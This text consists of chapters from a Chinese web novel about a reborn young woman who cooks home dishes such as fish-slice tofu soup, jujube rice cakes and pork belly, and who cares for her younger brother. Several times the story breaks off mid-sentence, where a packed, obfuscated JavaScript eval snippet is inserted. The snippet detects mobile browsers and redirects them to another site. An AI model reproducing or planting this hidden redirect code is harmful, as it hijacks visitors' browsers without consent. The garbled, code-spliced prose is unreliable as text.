《谢家珍馐堂前燕（美食）》 2. 紫苏鱼片豆腐汤 望着堆得整整齐齐的薄薄的鱼片，谢朗小心翼翼地捻起一片，惊叹地望向她：“女兄，你刀工什么时候这么好了?”差不多都是小指指甲一半宽般的厚度。 谢玉珍笑了笑没说话，当然是上辈子学会的，不过她自然是不可能说出来。 “小朗，烧火了。”她将紫苏清洗干净放在灶台边是备用，掰下来一截之前洗干净的仔姜，从屋里的柜台里将油盐拿出来，等锅烧的冒了烟了，用竹刷刷了薄薄一层菜油，将鱼片一片片放进去细细地煎，等一面变色便飞快地用锅铲翻了个面，没等全数便飞快地捞起来，“小朗，可以烧大火了。” 谢朗闻言，默默往灶洞里塞了两根木棍，因着之前的火气，稍稍吹了几下木棍就燃上火星了。 锅里此时还残留着一些油星，趁油还滚着，谢玉珍飞快地把姜块放进去，将葱叶用手掐成段丢了进去，眼疾手快地往锅里倒了两瓢水没过葱姜到锅一半的位置。 等火慢慢转小的时候，谢玉珍将鱼骨切成小块倒进去，锅里面的水也沸腾了，有着葱姜的原因，闻起来有些辛气，等待的过程中，她将豆腐都切成了小块。 两三盏茶的时间之后，谢玉珍打开锅盖，小鱼的鱼骨不比大鱼，很快煮成了碎碎的模样，汤水也变成了微黄的白色，她将锅里的鱼骨小心地一点一点捞了出来，打算拿来沤肥。 谢朗拿过来一只筷子给她，谢玉珍心里失笑，果然说不愧是姐弟吗，她不消脱裤子都知道她要放什么屁，她接过筷子，伸进锅里沾了点汤水尝味道，嗯，味道很淡，也很香，不过还没放盐呢。 早上凉，汤凉的很快，谢朗想着边又往灶里塞了一根木头，不一会儿汤借着余热就滚沸，谢玉珍也将豆腐切成了小块。 只见她将豆腐一股脑推了进去，白花花地在锅里翻滚，看上去嫩生生的，跟少女脖颈的嫩肉似的，格外可亲。 豆腐滚了好几滚后，谢玉珍将煎过的鱼片也倒了进去，再合上锅盖焖了一会儿后就传出了清淡但又强势的香味儿，一个劲儿地往人鼻子里钻，可恶的很，勾的人口津横生，胃里馋虫作乱。 谢玉珍揭开锅盖，放了盐调味后趁滚盛了半平碗汤，趁滚烫的时候撒了一把紫苏叶，再盛满。 “小朗，你自己盛了吃，我把这碗给隔壁张夫子家送去。”谢玉珍端起平碗吩咐道，谢朗吞着口水点头，望着姐姐出门去了。 叩叩叩 张家一家人这时候正在吃饭，就听见门口传来敲门声，张家二郎正在院子里边吃包子边逗狗，正好听见了挪步过去边开门边问道：“谁呀！” 谢玉珍护着碗站在门口，见开门的是张二郎，略微点了点头当打招呼了：“是我，我来给夫子送一碗鱼片汤。” 张二郎接过平碗要迎她进门：“谢家姐姐进来喝杯茶？”他望了一眼便知道这碗汤的材料是今天娘送过去的，难得谢家姐姐做了还送来的这份心意。 望了望天色，谢玉珍摆了摆手拒绝了：“家里还有小弟要照顾，这茶就下次再喝吧。” 说下次，自然是有下次的，谢玉珍心里有个迟早会说出口的成算。 张娘子见二儿子拿了一个海碗进来，奇怪地问道：“哪儿来的？看这纹样，不像我们家的。” “是谢家姐姐刚才送过来的。”张二郎把碗放到餐桌上回答道，“闻着还挺香的。” 张夫子坐在上首，鼻子耸了耸，闻到了香味，轻咳了两声后道：“二郎，给我盛一碗。” 张二郎将捞粥的勺子拿出来，给张夫子和张娘子各分了一碗。 “你说珍丫头也真是的，我送那几条鱼是给她补身子的，咋这还给我们送回来了，你瞧这。”边唠叨，张娘子端起碗，“这汤熬得挺白，咦，怎么还有紫苏叶呢？”张娘子筷子挑起一片叶子奇怪说道。 张夫子就着粥勺舀了口汤在碗边舔了舔进嘴，嘴角不自觉上扬起来，听见张娘子的话：“我看谢丫头虽没读过什么书，倒也懂得君子之道，你呀，心里估计高兴着，嘴里还抱怨。”他摇了摇头，胡须跟着抖。 “哼，你个老头子懂什么。”张娘子喝了一口汤，再夹一片包着鱼片的紫苏叶进口，这味道很新奇，但却算不上讨厌，反倒很适合早食呢，不油腻，带着些清新之气。 “对了，送碗去给房里的傅生。带着两个包子。”傅生是张夫子一个弟子，家中贫困，张夫子见才心喜，把他留在家里住，马上就要去赶考了。 张二郎叼着包子应声，给傅生送吃食去了。 早食之后，谢玉珍坐在院子里发呆，心里天人交战。 该不该去找那个贱人算账呢，可是……那个人背后有人，还是个男子，不是她可以轻易对付的呀，她还有个弟弟，理智上来讲不该和那人对上，可是，不做些什么，她心里又恨的发疼。 她写封信，告知那人解除婚约，如果那人不来找她，她就不会主动做什么，如果那人敢让她过去，她便拿着镰刀砍死他！谢玉珍眼神发狠，心里暗暗打算着。 至于什么解救被拐的女子，她是什么牌面上的人，她配吗？ 更何况上一世被背叛过不止一次。 谢玉珍撑着头，见谢朗将碗都放进碗柜里了，招手：“小朗，过来！” “女兄，怎么了？”谢朗见她招手，跑过来问。 “我房间梳妆台下面有个小箱子，你去里面取十五个铜子，去街上看看有没有人卖柴，如果有比较粗的给姐姐带回来，剩下的买块米糖吃吧。” “真的啊，买米糖！”谢朗眼睛一亮，旋即暗淡下来，“还是算了吧，买糖的钱留着买米。” “让你买糖就买，我们哪里就穷到吃不起饭了？”谢玉珍一个暴栗，“钱还可以再赚嘛。” 谢朗甜甜地嗯了两声，蹦蹦跳跳出去了。现在太阳还没完全升起来，还没到很热的时候。 谢玉珍看着笑，感叹到，不管怎么早熟，还是小孩子呀，小孩子怎么会不喜欢吃甜食呢。 病了这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780291|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日，虽然谢朗在打理小院，但毕竟是小孩子，总有些力有不逮的地方，她拿起小锄头在院子里半蹲着除草，打算做个小扫除。 等到太阳渐渐大起来了，谢朗脑袋上挂着薄汗，竟然把卖柴人带回来了。 “大哥喝杯茶水。”谢玉珍站起身揉了揉腰，进屋倒了一杯凉茶，走到门口递给了卖柴的大叔。 卖柴人接过茶水一饮而尽，憨厚地笑了两声，用汗巾擦了擦汗开口道：“我这就把柴火放在门口了，姑娘和小郎自行搬进去吧。” 谢玉珍点了点头，心下感激，心知这人是心疼怕小朗一个孩子搬不动重物，这才给她送到了门口，她心下领情，从袖子里掏了两个铜子隔着手帕递给卖柴人。 卖柴人见她如此，连忙摆了摆手：“姑娘这是干嘛，咱该收的铜钱已经收下了，再收姑娘这两个铜子干什么！咱虽没读过书，但也知道些道理。爱老扶幼，我家也有个多病的老母，以己及人而已。” 收养她的婆婆，她的祖母曾经说过，在商言商，利益掺杂着情谊，情谊会更坚固，利益会更持久。 “想让大哥帮我留意一下有没有比较粗壮的木头，不要多好的木种，不要多长，够个供奉牌位的材料就是了。这两个铜子权当是打听费。”谢玉珍不容人质疑地将铜子递过去。 对方见不是什么空头来的钱财，安心不少，接过铜钱放进胸口的内袋里，想了想眼皮一抬一闭间说道：“我家里倒有块杨木，是前年夏天在山上林子里捡的，大家都嫌小，也嫌寓意不好，我就留着压关鸡的网了。姑娘要是不嫌弃，今日用过午食后我就给姑娘送过来，再给一文就好，总好过砸在我手里。” “那可太谢谢大哥了！”谢玉珍拳头一拍手掌，高兴地说道。 “不谢不谢。”卖柴人腼腆摇头，将茶盏递回去擦了擦嘴转身走了。 谢朗从屋里重新端了竹椅出来放在太阳最大的地方，见谢玉珍和外人说完话，默默将柴火拖了进去放在院墙边上晒。 虽说柴火卖柴人已经处理过了，但她家从谢祖母起，一直习惯买了柴火回来晒一会儿祛祛潮气，烧起来烟会少很多，烧火的人也少几分辛苦。 “女兄，你过去坐会儿。”谢朗说道，“大家都说正午十分太阳最有阳气，女兄是风寒入体，如此很合适。” “知道了知道了，怎么小小年纪和个老夫子似的。”谢玉珍摇头过去坐下，唉，感觉早食还没过多久呢，就快到吃午食的时间了。 从前竟从未觉得时间如此匆匆不饶人，如同逝水，不舍昼夜。 “只好珍惜眼前人了。”她眯起眼睛，干枯的心涌进了一滴甘水，低声嗫嚅道，太阳照的人身上真是暖和。 “女兄说什么？”谢朗端着热水过来，没听清问了一句，本想问问女兄买木头的用处，但又觉得她心中自有沟壑，没问出口。 “我刚才说，中午吃什么。”谢玉珍打马虎眼道。也不算，衣食住行，也是人生最重要的几件事嘛。 3. 汤饭 对着手里的绸子，谢玉珍有些犯难，好些年不拈针弄线，她已经手生了。 镇子上王家的女儿过几日要婚嫁，雇她绣三床喜被的罩子，已经拖了两三日了，再拖下去，接下来几天都要赶工了。 她可不想晚上点着蜡烛刺绣，熬烛又伤眼。 她晒出了一身汗水，已经挪向了阴处，石墩上放着针线筐，边有一棵枝叶繁密的枣树，她坐在树荫下，考虑了一会儿拿出一块白帕子练了半时辰的手。 不一会儿，碎金子一样的阳光洒在了她脚下，她揉了揉酸疼的脖子，望着树影的方向估计该做饭了。 “小朗，中午吃汤饭好不好？”谢玉珍招手，谢朗正在看张夫子送的开蒙书，他抬起头应了声好。 家里实在也是没菜了。不，米缸也快见罄了。 谢玉珍从米缸挖了一碗半的米，淘洗的第一二遍水留了下来，下午洗头发，躺了这几日，头发实在是有些油了。 现在天气还没有凉下来，饭菜留不下来，不吃几个时辰就馊了。 洗干净的米和四五倍的水倒进锅里，盖紧锅盖开始蒸了起来。锅上了气之后就可以把饭捞起来了，还多了半盆的米汤。这时再把早上剩的鱼片汤倒进锅里，热了之后加入适量米汤烧滚后加入煮过的米。 再把锅盖盖起来煮两刻钟，一锅热腾腾的汤饭就算好了，热天不愿意吃干的，这样汤汤水水的很合适。 “朗哥儿，吃饭！别在太阳底下看书啊，对眼睛不好，我说过很多遍了。”谢玉珍将两个碗用清水荡了一遍，盛了两碗汤饭放在灶台上。 谢朗收起书，拿着一张帕子递给谢玉珍。 谢玉珍擦过汗一看，这不是自己方才练手的白帕子吗，她一笑：“呸，小小年纪如此促狭。” 帕子上蝴蝶的触须绣地歪扭，显得不伦不类的。 谢朗眯起眼睛一笑，心虚地拿起灶上的碗走到门槛边上坐着吃起来。 “女兄，这个也好吃！”他回头夸道，碗里面无论是鱼肉还是豆腐都软烂地不能再软烂，米粒却梗啾啾的，和早上的鱼片汤是另外一个类型的好吃，但不分先后，都非常非常好吃。 谢玉珍沿着碗小口啜着，闻言心里有些满足，一个做饭的人，最希望得到的莫过于食客的真心奉承。 “朗哥儿，你年纪渐渐大了，我心里总有打算，这次说出来，你自己拿主意。”吃完饭后，谢玉珍放下碗擦了擦嘴，开口说道。 谢朗正从灶洞里铲起来草木灰，抬起头时鼻子上不小心碰了一块脏的，眼睛亮亮的，很清明。 “女兄说便是，朗都听女兄的。”谢朗站直身，认真听姐姐说话。 “我这些年看着街坊里，但凡有钱的人家，男孩都去县上的官塾读书，再次一等的去了张夫子的书塾，再次一等家里略有薄田，在地里刨食而已。”谢玉珍说道，“我虚长你好几岁，有祖母教养，可祖母亡故时你年纪太小，这些年已耽搁了。”她叹息。 “女兄的意思是……可是，不，我不想读书！”谢朗明明是想的，谢玉珍可以看出来，不过是疼惜她一个弱女子独自支撑家庭，想负担一些而已。 欣慰吗，一点点，可这不会让谢玉珍感到高兴，祖母曾经说过，男子过分的惜弱在一种意义上，是骨子里对有能女子的轻蔑，或许他们并不能意识到这是世俗对他们、她们的规训，可她，我自己，该摆正自己的位置。 谢玉珍轻咳了两声，谢朗紧张地端来水，她润了润嗓子补充：“等绣完王家的喜被拿到工钱，我就把你送去张夫子的书塾。”这一次，她镇压下谢朗的动静。 “女兄！”谢朗涨红了脸，像个小鸭子，真可爱。 “怎么，担心我凑不齐嫁妆？”谢玉珍半嗔怒地横了他一眼，“我不嫁了，还凑哪门子的嫁妆？前些时候是我想岔了，就是我一个人，也够养活我们俩。” 谢朗奇怪，怎么突然就改变主意了：“不嫁就不嫁，我瞧那钱铮一双招子不像个好人。”女兄的决定他一向不置喙，再加上他本身不喜欢那个“准姐夫”，他那双眼睛里隐隐藏奸，凭他孩童敏锐的直觉，他不像个好人。 谢玉珍一愣，旋即自嘲的笑，看，八九岁的孩子都看出来什么了，她上辈子该有多蠢，才一股脑钻进去？ “所以，你必须得去读书。”谢玉珍强忍着情绪，说道，“我们一双妇孺，无依无靠，这房子屋契却捏在我们手上，匹夫无罪怀璧其罪。正相反，你去读书了，就有为官做宰的可能，旁的奸人也会有所顾忌，不敢动我们。世人皆知，这世上最不可得罪的，就是读书人。我说这些，你可知了？” “我明白了女兄。”谢朗自幼聪慧，他捏紧了拳头保证，“我一定好好读书，我要做官，做女兄最大的靠山！” 谢玉珍点了点头，见他自己想明白了，就不再说多余的话了，没得煽情。 “我可记着了，以后向你讨好处呢！”她娇笑。 这种微妙的气氛没维持多久，院门处就传来了声音，之前谢朗在院门处吃饭，院门开着就没关，卖柴人站在门外显得有些拘谨，他拍了两下门，手上拿着木头。 “姑娘，我来了。”他说道。 谢玉珍走过去将一文铜钱送过去，接过木头来，站在门内问到：“不知大哥名姓？我想着以后或许还有打交道的时候，不知道如何称呼。” “我姓曹，单名一个牛。”曹牛挠了挠头憨厚地笑。 “那我就称一声曹大叔了。”谢玉珍说道，“我想着过段时间做些吃食营生，到时还要照顾曹大叔生意呢。” “那感情好！”曹牛兴奋起来，做吃食的话少说半月长则不知多久，也算稳定主顾了。买的多的话他也可以少叫卖一会儿，回去照顾母亲，“姑娘要找我的话，就去镇中心一点的地方，我一般非禁伐期都在那里叫卖，姑娘如果需要鱼货也可以找我，我家娘子平日没事就拿大网捕鱼。” “诶。”曹牛走了之后谢玉珍关起门来，坐在枣树下认真地绣起喜被来。 谢朗则用力用草木灰搓着两个老瓷碗，做完活之后又拿出书读了起来，一时间院内也能称得上一句岁月静好。 绣到了太阳西斜，余晖照在金线银线上，泛着一段一段的碎光，一对鸳鸯穿牡丹仿佛从被面上活过来似的，飘飘欲仙。王家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780292|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的疼爱女儿，不过是压床的喜被而已，用了好多金银。四个被角还要绣上《桃夭》。这是王家二老对女儿朴实的祝福。 谢玉珍唤来谢朗和她一齐将绣架抬了进去，放在她房间的角落里，再绣下去光线就要伤眼了。 等做完这些，她和谢朗一齐坐在枣树下晒太阳，此时太阳改了方向，枣树下的光线他们完全可以接收到，谢玉珍仰头一看，枣树底端挂着密密麻麻的青枣，上面的半红了，应该是还没完全成熟。 “等过个十几天，枣子就该熟了，我给你做蜜枣和枣子米糕吃。”赵玉珍随口说道，“也可以卖一段时间，我病好了就去镇上探探行情。” 唉，以前都是卖绣品比较多，偏偏她现在最不喜欢刺绣。吃食之类的虽没有绣品值钱，但论起时间成本来说，也差不了多少了。 夏天的黄昏很长，他们坐了一会儿之后，谢玉珍就催着谢朗洗发，两人都用淘米水洗过之后，谢玉珍细细把头发篦了好几遍，勤洗头的话再多篦几遍，可以很好地防止头上生虱子。 谢玉珍齐腰的长发末尾发黄，大部分有分叉的现象，她有些营养不良的样子。趁着夕阳还没下山，她从堂屋中拿出了蒙尘的笔墨。 伏在石墩上写了封断交书，待过几日，就会出现在该出现的地方。 她吹了吹纸张，放进信封里，放在了窗边。 他们这里没有吃晚餐的习惯，所以天黑之后两人便都各自回房休息了。夜晚的风刮得枣树的枝叶漱漱作响，有凄厉之声，可能风在哀悼将从逝水中过隙的夏季。 无数的灯火在暗夜里一点点熄灭，直到清晨，尘世间才会重见光亮。 过了两三日，谢玉珍的风寒终于彻底好了，计划着出去泛舟游玩一下，她很久很久没看过山水风光了。 她做了些饼子用油纸包着和装水的葫芦放在褡裢里，她和小弟一人一个。而信早交给张二郎转交了。 “艄公，给。”谢玉珍递上四个铜子，谢朗先一步踏到船板上，扶着她上了船，船篷两头挂了两道布帘，隔开了男客和女客。因为谢朗年纪还小，又有些晕船，便和艄公一起在船头坐着。 此时洛水中的荷花大半都凋谢了，只留着零星几朵“他乡客”，更多的是高高低低的荷叶和莲蓬。 谢玉珍走出船篷，半蹲在船边，用手指去拨弄柔软的水流，温凉的，软软的，像祖母温暖的手一样，谢玉珍想。 阳光给莲蓬和荷叶都镶上了金边，像佛理经文一般流转，谢玉珍毫不心疼地掐下了一根根的荷叶和莲蓬抱进怀里，荷叶和莲子都是做甜食很好的材料，荷叶还可以做印染的布料工艺，虽然并不像旁的植物一般容易上色，但颇有一种绰约的氛围。 反正是无主之物，天生天赐而已。谢玉珍毫不亏心地想。这一下直接把船费给挣回来了。 她掰下来一个莲蓬：“朗哥儿！”谢朗回头，她一掷，恰恰好丢到了对方怀里。 “多谢女兄！”谢朗粲然一笑，拨弄起莲子，他也不怕生，剥出来后和艄公一人一个分吃了，惹得艄公黢黑的脸上的笑意忍都忍不住。 偷得浮生半日闲。 5. 蜜枣米糕和茱萸子五花肉 “死鸟，又偷吃！”谢玉珍拿着竹竿赶鸟，烦不胜烦，这些鸟都飞到院子的枣树上排排站，看着着实气人。 又不是没给她们在树顶留枣子，还糟蹋东西，偏偏不能拿他们怎么样，看来得考虑聘一只狸奴回来了，她想。 索性直接将圆簸箕收进屋子里，反正也晒的差不多了。而此时米浆也醒发好了，里面有很多气泡，用筷子搅拌一下排掉就可以了。 她拿出来四五个碗，在碗底刷了薄薄一层油，用勺子将米浆舀进去。谢玉珍将柴火撇折，点燃之后塞进灶洞里，不一会儿锅就烧热了，再添小半锅的水，把一层洗干净的竹蒸笼放在上面，竹蒸笼里放了一层湿润的纱布，受热会均匀一些，只见她将装了米浆的碗小心地放进蒸笼里，在每一个里面放了剁碎过的蜜枣肉，关上笼头，接下来的任务就是看火了。 谢玉珍认真地看着灶洞里面的柴枝噼里啪啦地燃烧，等小半个时辰之后将火打掉，用余热焖一炷香时间就好了。 一炷香后。她打开锅盖，一大股水蒸气和喷鼻的甜香向她面门袭来，买的今年夏天收的新米就是比陈米香很多，这股香雾密密麻麻的像蚂蚁在啃食鼻腔和胃袋，却弄的心痒痒的。 她用湿布把这几个碗眼疾手快地挑了出来，一层滚烫的水雾覆上了她胳膊的软肉上，她连忙舀起一点水冲了上去，所幸没被烫伤。 此时再将晒好的泛着晶莹的橙红色的蜜枣钳半碗放在一边，其他的放在早准备好的干净陶瓮里封起来。 因为先前在碗里涂过一层薄薄的油，因此米糕很容易就脱模了，放在盘子里的圆团子还荡了几下，还没点缀蜜枣就显得十分美味。她这时突然想起来之前摘的荷花荷叶用井里的水里养着，大部分现在还新鲜着。 她从一朵完全开着的荷花上小心翼翼地拽下来底部的一片花瓣，用清水洗干净之后放在盘子底部，再将另一碗米糕脱模放在荷花瓣上，微黄的瓷盘映着白粉渐变的荷花衬着白软的米糕棕红的蜜枣，别有一番读书人的风雅意趣。 她忍不住露出一抹笑意，但转念想到以后要经常去河里挑水，突然感觉两眼发黑，虽然家中有井水，但流动着的活水的品质要大大高于井水，自己吃还没什么，拿出去卖的话肯定要用好的东西呀。她叹息一声，又重新振奋起来。 谢朗揉着眼睛从侧屋出来：“姐姐，好香啊。”他还没完全清醒，抽动着鼻翼的样子比平时更像个小孩子。 “米糕做好了，快过来吃。”谢玉珍柔和了眉眼，向他招手。 谢朗走到台阶边洗了把脸清醒过后，乖乖地接过一盘米糕，坐在台阶上拿着一柄木勺子挖着吃。他先将蜜枣拨到一边，挖了一下被蜜枣洇成糖色椭圆的一块送进嘴里面，枣香、蔗糖香、米香依次充盈了整个口腔，十分的有层次，比街上的食肆卖的还好吃。 “女兄，真的好好吃！”他嘴里含着米糕，回头含糊地说。 谢玉珍这才有时间尝了一口，比她预期的要好吃很多，不知怎的，自从重生之后，做饭要得心应手很多。 “我中午炒个肉菜，晚上不蒸米饭了，就着菜贴饼子吃行不行？”谢玉珍问道。 “吃肉呀。”谢朗眼睛亮亮的，有些扭捏地回头，“真的吃肉呀？” 谢玉珍眼睛一酸，她以前总想着说要攒钱，攒钱出嫁，攒钱给小弟娶妻子，攒钱开个刺绣坊之类的，总是觉得现在多吃点苦未来总会有享福的时候。现在她才明白，明日复明日，明日何其多？今天没有，明天即使有了，也不是自己最想要的那个了。 “人生在世，总要懂得些及时行乐的道理。”谢玉珍摸着小弟的头说道，“人生下来，有能力过得好，为什么要吃苦？从前我想岔了，现在总算是‘改邪归正’，你还不高兴啊？”她调笑道。 “不是，哎呀。”谢朗一时嘴笨，羞恼地转过头去，还偷瞄了她一眼，谢玉珍噗嗤一笑，心中的暗影暂时退却，心情不错地取下来墙边竹竿上挂着的猪五花，这块肉还可以，晚上热一下就是一道新菜——回锅肉了。这个苏居士尝过，大赞不已呢，就连食猪肉，也是苏居士带起的风潮。 猪肉味甚美——劁过的。特别是走地猪，肉都弹牙，特别好吃。 谢玉珍干脆利落地用菜刀剁掉系着猪肉的草绳，一条肉大概有三四斤，她切下来其中三分之一，剩余的部分放在清水里泡着泡出血沫，明天早上去买一块猪筒骨一起熬高汤，她现在病早养好了，也该想想怎么养活自己了，她得去瓦子里试试水，先卖汤饼看看别人的反应。 她用巧劲儿将肉片成厚薄均匀的肉片，抬起头看院子的角落被开垦的一片地，上面种着的葱蒜姜一半倒伏的东倒西歪，她一拍脑袋，懊恼不已，回来之后忘记自己在院子里种了菜了。 她走近去看，不由得有些惊讶，这么些日子不曾料理，居然没死光，就是倒了一半，长满了野草，剩下的被争抢了养分也长的很瘦弱。 她叹了一口气，将倒伏着的葱扯了好几根，姜也挖了一块三指宽的“宝宝”出来，她用菜刀将姜的外皮削掉后切成片后放在盘子里，葱洗干净后揉搓两下直接打了个结连着两片姜随手丢到了盛着水的碗中。 锅里面滚烫的热气还没退去，她将水都舀出来把锅用之前的湿布擦干净，往灶洞塞了几根柴枝点燃后，她舀两勺油转着圈地撒进锅里，用锅铲润笔一般地润了一圈锅。 油烧滚的期间她快速剥了几瓣蒜捣碎成蒜末，等油热后先将蒜末倒进去翻炒炸香，紧接着把切好的肉片放进去翻炒到断生变色后将一整碗葱姜水倒进去，关盖焖。 “小朗，把柜子里的茱萸子拿出来。”谢玉珍拿手扇了扇，闻到香味后满意地点了点头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780294|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 预估着收汁了，她揭开锅盖，本来刚好没过肉片的水此时都消失了，只剩下肉上裹着和锅底一层浅浅的微黄的油汁，她直接手掐了葱段，舀了一勺酱油撒进锅里重新翻炒起来，一大股带着锅气和肉香的无色的水雾涌上她面门，她鬓角的头发也湿哒哒趴在她白润如荔枝肉的耳垂边的侧脸上。 她呼出一口气，拿过谢朗递过来的盘子，盛了一半出来，就这已经满满一盘子了，现在这盘是葱炒五花肉。她轻轻放在灶台离锅远的一端，拿起筷子尝了一口，味道还不错的，她把筷子调了个头夹了一块喂给谢朗。 谢朗连忙把头伸过去接肉，先是含在嘴里，将汁水吸干净，这才舍得咀嚼。 “阿朗，还有这么多呢。”谢玉珍心疼地揉他的头，“以后经常会有的，不止今天，还有明天，后天，数不尽的好日子呢。” 谢朗眼睛亮晶晶地看向她：“阿姐，你和以前不一样了，但以前很好，现在也很好，不，现在更好！” 谢玉珍揉了揉他的脑袋没说话，笑着吩咐他塞柴枝，从袋子里抓了一把茱萸子丢进锅里翻炒均匀，热气纠缠着辛辣气赛跑般向上方奔涌，大约人的鼻腔是终点吧。 辣炒五花肉出锅了。这会比先前先出锅的葱炒五花肉肉质老一些。做饭是这样，火候不同，食材不同，味道千差万别，而这老一些的肉质刚好和辛辣味道混合出了一股醇厚的感觉，像是烈酒和清茶的区别。 旁边的锅里也上汽了，米饭也蒸好了。 “开饭了。”她将菜端到院子的石墩上，平时天气暖和的时候都是在院子里吃饭，这石墩承担着桌子的职责。 谢朗将两张竹椅哼哧哼哧搬过来摆好，谢玉珍招呼他看着菜，免得鸟乱吃偷吃，拉的院子里有白泥。 她走到锅边将饭都盛到一个大陶盆里，锅底留着一层微黄的锅巴，炕的刚刚好，她将米汤到进去粗粗用锅铲把锅巴切成几小块之后盖上锅盖，进屋拿了两套万块，手肘里夹着饭盆走到石墩边。 小孩子连忙接过饭盆放在石墩上，谢玉珍将另外一套碗筷递给他，两个人便开始吃饭了。 谢朗吃着的时候时不时偷瞄他姐姐，谢玉珍吃着吃着就开始晃神，回过神来又重新动筷子，就这样重复了好几回。 他小小的脑袋还想不明白大人的心事，只是直觉不应该问出口，问出口，或许会有不好的事情发生。于是只好把憋在心里，狠狠咀嚼着嘴里的肉忍住不说话。 谢玉珍又一次晃神后终于自己清醒过来，可能是这段时间不够忙，还有心思想这些乱七八糟的事情，她如此想到，她咬着筷子，终于拾起了一件压在她心上的事情——给黑咪的排位忘记刻了。 真是罪过。她懊恼地闭上眼睛，记性总是随着心情时好时差的，这太不妙了。 难道重生的代价是变成白痴？ 6. 再遇渣男 中午的锅碗瓢盆又是由谢朗一手包揽，不容拒绝。心里不得劲儿的他还把院子的地和房间的地重新扫了一遍。 年轻人，就是有活力。 谢玉珍捧着一碗热水，小口小口啜着，不时吹一吹。现在天气是越来越凉了，该做冬衣了，再晚一些价格要翻一番，她想，晚上把锅巴粥加点水热一下，冷天就要有点热乎乎的东西下肚，胃暖了全身就都暖了。 要不是现在买不起羊肉，她都想做羊杂汤吃。 “小朗，别扫了，地上干净的老鼠都站不住脚了。”她看向庭中郁闷的小孩，半开玩笑地开口，“夫子家现在在收稻子，你把我之前拨出来的菜放在篮子里送过去，篮子也不用拿回来了，那是之前张娘子送过来的，是她家的东西。和夫子培养一下感情，晚上回来吃饭。” 谢玉珍从屋檐下取下竹篮子，拿掉晚上盖着防灰的碟子，将两个碗放进篮子里，再用麻布盖好递给走到跟前的谢朗。 谢朗答应着便出了门，谢玉珍望着他出去，把大门关上之后收回了眼神。她找到之前曹牛叔送过来的圆木头，想着说现在可以走一趟去镇上木匠家把这个送过去，也可以提前把筒子骨买回来，再去街道司把摊租缴了，晚上睡觉前把汤熬好明天就可以提前出摊做早食了。 想到这里，她把木头放在自家的篮子里带上锁好所有的门出门去了。 此时谢朗去到张夫子家发现没人在家里，便想着说可能家里女眷送饭去了，他就往张夫子家的田地那边去了。 “你瞧。那个小孩像不像谢家弟弟。”张家的大女儿张七巧给自己夫君擦汗，一眼瞥到田埂上越走越近的小男孩儿，问道。 “我不知道啊娘子，我没见过谢家的弟弟。”周扶浪一脸莫名其妙地回复说。 张娘子一脸黑线，果然是一孕傻三年：“欸，还真是谢家弟弟。”来人走近了，她直接转移话题。 张家其他人也都看见了，张夫子裤腿卷了起来，裤腿上都是尘土，几个男人围在一起吃面饼和小菜。 “夫子日安。”谢朗手上挎着篮子，又想放下，又怕篮子倒了，只好挎着篮子给张夫子行了个不太标准的礼。 “小朗咋来了,吃过了吗?”张夫子拿着饼子和煦地问，说话的时候胡子一抖一抖的。 “吃过了夫子，女兄让我过来给你们送她做的新菜，希望夫子尝尝。”谢朗边说边把篮子递给离她最近的张二郎，“特别好吃的。”他忍不住补充道。 五花肉的肥肉部分的油脂融化在嘴里伴随着酱香，香的要吞掉舌头，茱萸子的辣之后停在舌尖的就是微微的麻，说不出来的滋味。 他吞了口口水。 张二郎掀开布便看到了两碗不同口味的肉，肉温下来之后辣味没有热的那么霸道，只有隐隐约约的辛气往上窜，想要沾惹上衣裳。 肉的色泽是比酱黄色稍微浅一点的油黄，让人看着就口舌生津，再加上现在做农活吃的简单，没滋没味儿的，张二郎喜笑颜开，揽着谢朗的肩膀哥俩好地摇了摇：“啧，羡慕你，谢家姐姐来我家做女儿好不好！” “不好不好！”谢朗愣了两下，憋红了脸把张二郎推开，大声道，“女兄是我的！” 张二郎看着他这幅样子玩心更起，开玩笑道：“那我把谢姐姐娶回家，不就是我的了？” 张夫子本来没说话，闻言气的吹胡子瞪眼：“老二！找打是不是？回去给我抄一百遍道德经，没抄完不许出门！” 张二郎话出口就后悔了，听见张夫子的骂声手足无措地站在田埂上：“知道了爹。”蔫巴的像院子里倒栽的葱。 “我怎么生了你这么个没脑子的。这话是能随便说的，幸好你爹其他的门生今天没过来，不然我打死你！”张娘子恨铁不成钢也气的不行，招呼他过来狠狠拧了好几下。 “疼。”张二郎低声说。 “就要让你长记性！”张娘子气不过又狠狠拧了一下。 活该，谢朗心想，他默默坐在了张夫子旁边的地上，张夫子招呼着几个人吃菜，也塞了一把筷子在他手上。 他脑子停转了一秒，下意识攥紧了又放松。 